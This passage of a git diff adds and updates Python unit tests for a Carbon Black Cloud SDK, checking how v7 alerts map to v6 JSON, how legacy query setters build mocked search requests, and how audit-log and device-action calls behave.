+CONTAINER_RUNTIME_FIELDS_V6 = { + "workload_id", + "target_value" +} + +# Fields on the v6 Watchlist alert object that do not have an equivalent in v7 +WATCHLIST_FIELDS_V6 = { + "count", + "document_guid", + "threat_cause_vector", + "threat_indicators" +} + +# Aggregate all the alert type fields +ALL_FIELDS_V6 = (CB_ANALYTICS_FIELDS_V6 | BASE_FIELDS_V6 | DEVICE_CONTROL_FIELDS_V6 | WATCHLIST_FIELDS_V6 + | CONTAINER_RUNTIME_FIELDS_V6) + + +@pytest.mark.parametrize("url, v7_api_response, v6_sdk_response", [ + ("/api/alerts/v7/orgs/test/alerts/6f1173f5-f921-8e11-2160-edf42b799333", GET_ALERT_v7_CB_ANALYTICS_RESPONSE, + ALERT_V6_INFO_CB_ANALYTICS_SDK_1_4_3), + ("/api/alerts/v7/orgs/test/alerts/f6af290d-6a7f-461c-a8af-cf0d24311105", GET_ALERT_v7_WATCHLIST_RESPONSE, + ALERT_V6_INFO_WATCHLIST_SDK_1_4_3), + ("/api/alerts/v7/orgs/test/alerts/46b419c8-3d67-ead8-dbf1-9d8417610fac", GET_ALERT_v7_CONTAINER_RUNTIME_RESPONSE, + ALERT_V6_INFO_CONTAINER_RUNTIME_SDK_1_4_3), + ("/api/alerts/v7/orgs/test/alerts/2be0652f-20bc-3311-9ded-8b873e28d830", GET_ALERT_v7_HBFW_RESPONSE, + ALERT_V6_INFO_HBFW_SDK_1_4_3), + ("/api/alerts/v7/orgs/test/alerts/b6a7e48b-1d14-11ee-a9e0-888888888788", GET_ALERT_v7_DEVICE_CONTROL_RESPONSE, + ALERT_V6_INFO_DEVICE_CONTROL_SDK_1_4_3) +]) +def test_v7_generate_v6_json(cbcsdk_mock, url, v7_api_response, v6_sdk_response): + """ + Test the generation of a v6 to_json output + + Compare what is generated by the current SDK with expected from SDK 1.4.3 + Parameterization above is used to call this test multiple times to test different alert types + """ + # set up the mock request and execute the mock v7 API call + cbcsdk_mock.mock_request("GET", url, v7_api_response) + api = cbcsdk_mock.api + alert = api.select(BaseAlert, v6_sdk_response.get("id")) + # generate the json output from the v7 API response in the v6 format + alert_v6_from_v7 = alert.to_json("v6") + + # Recursively compare each field in the fixture v6 with that produced using the to_json method in the current SDK. + # The v6 fixture were generated with an earlier version of the SDK (1.4.3) + # The v7 fixtures were generated with v7 API calls + # That the output of the current to_json("v6") method equals the v6 fixture is what is being tested + for key in v6_sdk_response: + """Check inner dictionaries""" + if isinstance(v6_sdk_response.get(key), dict): + check_dict(v6_sdk_response.get(key), alert_v6_from_v7.get(key), key, v6_sdk_response.get("type")) + else: + # send the dict containing the field as the field will not always exist in alert_v6_from_v7 + check_field(v6_sdk_response, alert_v6_from_v7, key, v6_sdk_response.get("type")) + + +def check_dict(alert_v6, alert_v6_from_v7, key, alert_type): + """ + Make some generic checks for fields + + Key should be the label, and each of alert_v6 and alert_v6_from_v7 should be dicts + """ + # This method is expecting a dict input parameter. Verify. + assert (isinstance(alert_v6, dict)), "Function check_dict called with incorrect argument types" + + if key in COMPLEX_MAPPING_V6: + return + # Fields that are deprecated will be in v6 and should not be in v7 + assert not ( + key in BASE_FIELDS_V6 and alert_v6_from_v7 is not None and key in alert_v6_from_v7 + ), ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: BASE_FIELDS_V6. Key: {}").format(key) + + # fields from cb analytics that are not in v7. No mapping available + assert not ( + alert_type == "CB_ANALYTICS" and key in CB_ANALYTICS_FIELDS_V6 and alert_v6_from_v7 is not None + and key in alert_v6_from_v7 + ), ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: CB_ANALYTICS_FIELDS_V6. Key: {}").format(key) + + # fields from container runtime that are not in v7. No mapping available + assert not (alert_type == "CONTAINER_RUNTIME" and key in CONTAINER_RUNTIME_FIELDS_V6 + and alert_v6_from_v7 is not None and key in alert_v6_from_v7), ( + ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: CONTAINER_RUNTIME_FIELDS_V6. Key: {}").format(key)) + + # no fields removed in v7 for host based firewall alerts + # fields from device control that are not in v7. No mapping available + assert not ( + alert_type == "DEVICE_CONTROL" and key in DEVICE_CONTROL_FIELDS_V6 and alert_v6_from_v7 is not None + and key in alert_v6_from_v7 + ), ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: DEVICE_CONTROL_FIELDS_V6. Key: {}").format( + key) + + # fields from watchlist alert that are not in v7. No mapping available + assert not ( + alert_type == "WATCHLIST" and key in WATCHLIST_FIELDS_V6 and alert_v6_from_v7 is not None + and key in alert_v6_from_v7 + ), ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: WATCHLIST_FIELDS_V6. Key: {}").format(key) + + # If the key is in v6 and correctly not in v7 the earlier asserts will have passed + # Do not inspect the inner dict + if key not in ALL_FIELDS_V6: + for inner_key in alert_v6: + if isinstance(alert_v6.get(inner_key), dict): + check_dict(alert_v6.get(inner_key), alert_v6_from_v7.get(inner_key), inner_key, alert_type) + else: + check_field(alert_v6, alert_v6_from_v7, inner_key, alert_type) + + +def check_field(alert_v6, alert_v6_from_v7, key, alert_type): + """ + Check rules about when fields should and should not be mapped + + Orgs are dictionaries, key is the field being evaluated. + End with a value comparison + """ + if key in COMPLEX_MAPPING_V6: + return + # Fields that are deprecated will be in v6 and should not be in v7 + assert not ( + key in BASE_FIELDS_V6 and key in alert_v6_from_v7 + ), ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: BASE_FIELDS_V6. Key: {}").format(key) + + # fields from cb analytics that are not in v7. No mapping available + assert not ( + alert_type == "CB_ANALYTICS" and key in CB_ANALYTICS_FIELDS_V6 and key in alert_v6_from_v7 + ), ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: CB_ANALYTICS_FIELDS_V6. Key: {}").format(key) + + # container runtime alerts + # fields from watchlist alert that are not in v7. No mapping available + assert not (alert_type == "CONTAINER_RUNTIME" and key in CONTAINER_RUNTIME_FIELDS_V6 and key in alert_v6_from_v7), ( + ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: CONTAINER_RUNTIME_FIELDS_V6. Key: {}").format(key)) + + # no fields removed in v7 for host based firewall alerts + # fields from device control that are not in v7. No mapping available + assert not ( + alert_type == "DEVICE_CONTROL" and key in DEVICE_CONTROL_FIELDS_V6 and key in alert_v6_from_v7 + ), ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: DEVICE_CONTROL_FIELDS_V6. Key: {}").format( + key) + + # fields from watchlist alert that are not in v7. No mapping available + assert not ( + alert_type == "WATCHLIST" and key in WATCHLIST_FIELDS_V6 and key in alert_v6_from_v7 + ), ("ERROR: Field is deprecated and does not exist in v7. Expected: Not in to_json(v6). Actual: was incorrectly " + "included. Source: WATCHLIST_FIELDS_V6. Key: {}").format(key) + + if key not in ALL_FIELDS_V6: + assert (alert_v6.get(key) == alert_v6_from_v7.get(key) + or (alert_v6.get(key) == "" and alert_v6_from_v7.get(key) is None) + or (alert_v6.get(key) == 0 and alert_v6_from_v7.get(key) is None) # device info on CONTAINER_RUNTIME + ), "ERROR: Values do not match {} - v6: {} v7: {}".format(key, alert_v6.get(key), + alert_v6_from_v7.get(key)) + + +def test_set_alert_ids(cbcsdk_mock): + """Test legacy set_alert_ids method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "id": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_alert_ids(["123"]).set_rows(1) + len(query) + + +def test_set_create_time(cbcsdk_mock): + """Test legacy set_create_time method""" + def on_post(url, body, **kwargs): + assert body == { + "time_range": { + "end": "2023-09-20T01:00:00.000000Z", + "start": "2023-09-19T21:00:00.000000Z" + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_create_time(start="2023-09-19T21:00:00", end="2023-09-20T01:00:00").\ + set_rows(1) + len(query) + + +def test_set_device_ids(cbcsdk_mock): + """Test legacy set_device_ids method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_id": [ + 123 + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_device_ids([123]).set_rows(1) + len(query) + + +def test_set_device_names(cbcsdk_mock): + """Test legacy template method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_name": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_device_names(["123"]).set_rows(1) + len(query) + + +def test_set_device_os(cbcsdk_mock): + """Test legacy set_device_os method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_os": [ + "LINUX" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_device_os(["LINUX"]).set_rows(1) + len(query) + + +def test_set_device_os_versions(cbcsdk_mock): + """Test legacy set_device_os_versions method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_os_version": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_device_os_versions(["123"]).set_rows(1) + len(query) + + +def test_set_device_username(cbcsdk_mock): + """Test legacy set_device_username method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_username": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_device_username(["123"]).set_rows(1) + len(query) + + +def test_set_legacy_alert_ids(cbcsdk_mock): + """Test legacy set_legacy_alert_ids method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "id": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_legacy_alert_ids(["123"]).set_rows(1) + len(query) + + +def test_set_policy_ids(cbcsdk_mock): + """Test legacy set_policy_ids method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_policy_id": [ + 123 + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_policy_ids([123]).set_rows(1) + len(query) + + +def test_set_policy_names(cbcsdk_mock): + """Test legacy policy_names method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_policy": [ + "policy name" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_policy_names(["policy name"]).set_rows(1) + len(query) + + +def test_set_process_names(cbcsdk_mock): + """Test legacy set_process_names method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "process_name": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_process_names(["123"]).set_rows(1) + len(query) + + +def test_set_process_sha256(cbcsdk_mock): + """Test legacy set_process_sha256 method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "process_sha256": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_process_sha256(["123"]).set_rows(1) + len(query) + + +def test_set_reputations(cbcsdk_mock): + """Test legacy set_reputations method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "process_reputation": [ + "PUP" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_reputations(["PUP"]).set_rows(1) + len(query) + + +def test_set_tags(cbcsdk_mock): + """Test legacy set_tags method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "tags": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_tags(["123"]).set_rows(1) + len(query) + + +def test_set_target_priorities(cbcsdk_mock): + """Test legacy set_target_priorities method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_target_value": [ + "LOW" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_target_priorities(["LOW"]).set_rows(1) + len(query) + + +def test_set_external_device_ids(cbcsdk_mock): + """Test legacy set_external_device_ids method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "device_id": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_external_device_ids(["123"]).set_rows(1) + len(query) + + +def test_set_workload_names(cbcsdk_mock): + """Test legacy set_workload_names method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "k8s_workload_name": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_workload_names(["123"]).set_rows(1) + len(query) + + +def test_set_cluster_names(cbcsdk_mock): + """Test legacy set_cluster_names method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "k8s_cluster": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_cluster_names(["123"]).set_rows(1) + len(query) + + +def test_set_namespaces(cbcsdk_mock): + """Test legacy set_namespaces method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "k8s_namespace": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_namespaces(["123"]).set_rows(1) + len(query) + + +def test_set_ports(cbcsdk_mock): + """Test legacy set_ports method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "netconn_local_port": [ + 123 + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_ports([123]).set_rows(1) + len(query) + + +def test_set_protocols(cbcsdk_mock): + """Test legacy set_protocols method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "netconn_protocol": [ + "PROTOCOL" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_protocols(["PROTOCOL"]).set_rows(1) + len(query) + + +def test_set_remote_domains(cbcsdk_mock): + """Test legacy set_remote_domains method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "netconn_remote_domain": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_remote_domains(["123"]).set_rows(1) + len(query) + + +def test_set_remote_ips(cbcsdk_mock): + """Test legacy set_remote_ips method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "netconn_remote_ip": [ + "1.2.3.4" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_remote_ips(["1.2.3.4"]).set_rows(1) + len(query) + + +def test_set_replica_ids(cbcsdk_mock): + """Test legacy set_replica_ids method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "k8s_pod_name": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_replica_ids(["123"]).set_rows(1) + len(query) + + +def test_set_rule_ids(cbcsdk_mock): + """Test legacy set_rule_ids method + + In SDK prior to 1.5.0 this was only supported for Container Runtime Alerts so will + convert to k8s_rule_id. For the post SDK 1.5.0 / Alert v7 API version, add_criteria() + should be used for both k8s_rule_id and for other alert types, rule_id. + """ + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "k8s_rule_id": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_rule_ids(["123"]).set_rows(1) + len(query) + + +def test_set_rule_names(cbcsdk_mock): + """Test legacy set_rule_names method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "k8s_rule": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_rule_names(["123"]).set_rows(1) + len(query) + + +def test_set_workload_kinds(cbcsdk_mock): + """Test legacy set_workload_kinds method""" + def on_post(url, body, **kwargs): + assert body == { + "criteria": { + "k8s_kind": [ + "123" + ] + }, + "rows": 1 + } + return {"results": [{"id": "S0L0", "org_key": "test", "threat_id": "B0RG", + "workflow": {"status": "OPEN"}}], "num_found": 1} + + cbcsdk_mock.mock_request('POST', "/api/alerts/v7/orgs/test/alerts/_search", on_post) + api = cbcsdk_mock.api + # no assertions, the check is that the post request is formed correctly. + query = api.select(BaseAlert).set_workload_kinds(["123"]).set_rows(1) + len(query) diff --git a/src/tests/unit/platform/test_audit.py b/src/tests/unit/platform/test_audit.py new file mode 100644 index 000000000..12722d8d4 --- /dev/null +++ b/src/tests/unit/platform/test_audit.py @@ -0,0 +1,49 @@ +# ******************************************************* +# Copyright (c) VMware, Inc. 2020-2023. All Rights Reserved. +# SPDX-License-Identifier: MIT +# ******************************************************* +# * +# * DISCLAIMER. THIS PROGRAM IS PROVIDED TO YOU "AS IS" WITHOUT +# * WARRANTIES OR CONDITIONS OF ANY KIND, WHETHER ORAL OR WRITTEN, +# * EXPRESS OR IMPLIED. THE AUTHOR SPECIFICALLY DISCLAIMS ANY IMPLIED +# * WARRANTIES OR CONDITIONS OF MERCHANTABILITY, SATISFACTORY QUALITY, +# * NON-INFRINGEMENT AND FITNESS FOR A PARTICULAR PURPOSE. + +"""Tests for the audit logs APIs.""" + +import pytest +from cbc_sdk.rest_api import CBCloudAPI +from cbc_sdk.platform.audit import AuditLog +from tests.unit.fixtures.CBCSDKMock import CBCSDKMock +from tests.unit.fixtures.platform.mock_audit import AUDITLOGS_RESP + + +@pytest.fixture(scope="function") +def cb(): + """Create CBCloudAPI singleton""" + return CBCloudAPI( + url="https://example.com", org_key="test", token="abcd/1234", ssl_verify=False + ) + + +@pytest.fixture(scope="function") +def cbcsdk_mock(monkeypatch, cb): + """Mocks CBC SDK for unit tests""" + return CBCSDKMock(monkeypatch, cb) + + +# ==================================== UNIT TESTS BELOW ==================================== + + +def test_no_create_object_for_now(cb): + """Validates that we can't create an AuditLog object. Remove when we have a better implementation.""" + with pytest.raises(NotImplementedError): + AuditLog(cb, 0) + + +def test_get_auditlogs(cbcsdk_mock): + """Tests getting audit logs.""" + cbcsdk_mock.mock_request("GET", "/integrationServices/v3/auditlogs", AUDITLOGS_RESP) + api = cbcsdk_mock.api + result = AuditLog.get_auditlogs(api) + assert len(result) == 5 diff --git a/src/tests/unit/platform/test_devicev6_api.py b/src/tests/unit/platform/test_devicev6_api.py index 1fb5fb6de..7785dda4e 100755 --- a/src/tests/unit/platform/test_devicev6_api.py +++ b/src/tests/unit/platform/test_devicev6_api.py @@ -165,7 +165,7 @@ def on_query(url, body, **kwargs): assert body == {"query": "foobar", "rows": 2, "criteria": {"last_contact_time": {"start": "2019-09-30T12:34:56", - "end": "2019-10-01T12:00:12"}}, "exclusions": {}} + "end": "2019-10-01T12:00:12"}}} return {"results": [{"id": 6023, "organization_name": "thistestworks"}], "num_found": 1} cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/devices/_search", on_query) @@ -183,8 +183,7 @@ def on_query(url, body, **kwargs): assert body == { "query": "foobar", "rows": 2, - "criteria": {"last_contact_time": {"range": "-3w"}}, - "exclusions": {} + "criteria": {"last_contact_time": {"range": "-3w"}} } return {"results": [{"id": 6023, "organization_name": "thistestworks"}], "num_found": 1} @@ -282,7 +281,7 @@ def test_query_device_do_background_scan(cbcsdk_mock): """Test setting the background scan status on devices matched by a query.""" def on_bgscan(url, body, **kwargs): assert body == {"action_type": "BACKGROUND_SCAN", - "search": {"query": "foobar", "criteria": {}, "exclusions": {}}, "options": {"toggle": "ON"}} + "search": {"query": "foobar"}, "options": {"toggle": "ON"}} return CBCSDKMock.StubResponse(None, scode=204) cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/device_actions", on_bgscan) @@ -294,7 +293,7 @@ def test_query_device_do_bypass(cbcsdk_mock): """Test setting the bypass status on devices matched by a query.""" def on_bypass(url, body, **kwargs): assert body == {"action_type": "BYPASS", - "search": {"query": "foobar", "criteria": {}, "exclusions": {}}, "options": {"toggle": "OFF"}} + "search": {"query": "foobar"}, "options": {"toggle": "OFF"}} return CBCSDKMock.StubResponse(None, scode=204) cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/device_actions", on_bypass) @@ -306,7 +305,7 @@ def test_query_device_do_delete_sensor(cbcsdk_mock): """Test deleting the sensor on devices matched by a query.""" def on_delete(url, body, **kwargs): assert body == {"action_type": "DELETE_SENSOR", - "search": {"query": "foobar", "criteria": {}, "exclusions": {}}} + "search": {"query": "foobar"}} return CBCSDKMock.StubResponse(None, scode=204) cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/device_actions", on_delete) @@ -318,7 +317,7 @@ def test_query_device_do_uninstall_sensor(cbcsdk_mock): """Test uninstalling the sensor on devices matched by a query.""" def on_uninstall(url, body, **kwargs): assert body == {"action_type": "UNINSTALL_SENSOR", - "search": {"query": "foobar", "criteria": {}, "exclusions": {}}} + "search": {"query": "foobar"}} return CBCSDKMock.StubResponse(None, scode=204) cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/device_actions", on_uninstall) @@ -330,7 +329,7 @@ def test_query_device_do_quarantine(cbcsdk_mock): """Test setting the quarantine status on devices matched by a query.""" def on_quarantine(url, body, **kwargs): assert body == {"action_type": "QUARANTINE", - "search": {"query": "foobar", "criteria": {}, "exclusions": {}}, "options": {"toggle": "ON"}} + "search": {"query": "foobar"}, "options": {"toggle": "ON"}} return CBCSDKMock.StubResponse(None, scode=204) cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/device_actions", on_quarantine) @@ -342,7 +341,7 @@ def test_query_device_do_update_policy(cbcsdk_mock): """Test updating the policy on devices matched by a query.""" def on_update(url, body, **kwargs): assert body == {"action_type": "UPDATE_POLICY", - "search": {"query": "foobar", "criteria": {}, "exclusions": {}}, + "search": {"query": "foobar"}, "options": {"policy_id": 8675309}} return CBCSDKMock.StubResponse(None, scode=204) @@ -355,7 +354,7 @@ def test_query_device_do_update_sensor_version(cbcsdk_mock): """Test updating the sensor version on devices matched by a query.""" def on_update(url, body, **kwargs): assert body == {"action_type": "UPDATE_SENSOR_VERSION", - "search": {"query": "foobar", "criteria": {}, "exclusions": {}}, + "search": {"query": "foobar"}, "options": {"sensor_version": {"RHEL": "2.3.4.5"}}} return CBCSDKMock.StubResponse(None, scode=204) @@ -367,10 +366,8 @@ def on_update(url, body, **kwargs): def test_query_deployment_type(cbcsdk_mock): """Test deployment type query with correct and incorrect params.""" def on_query(url, body, **kwargs): - assert body == {"query": "", - "rows": 2, - "criteria": {"deployment_type": ["ENDPOINT"]}, - "exclusions": {}} + assert body == {"rows": 2, + "criteria": {"deployment_type": ["ENDPOINT"]}} return {"results": [{"id": 6023, "deployment_type": ["ENDPOINT"]}], "num_found": 1} cbcsdk_mock.mock_request('POST', "/appservices/v6/orgs/test/devices/_search", on_query) diff --git a/src/tests/unit/platform/test_platform_alerts_sdk150_breaking_changes.py 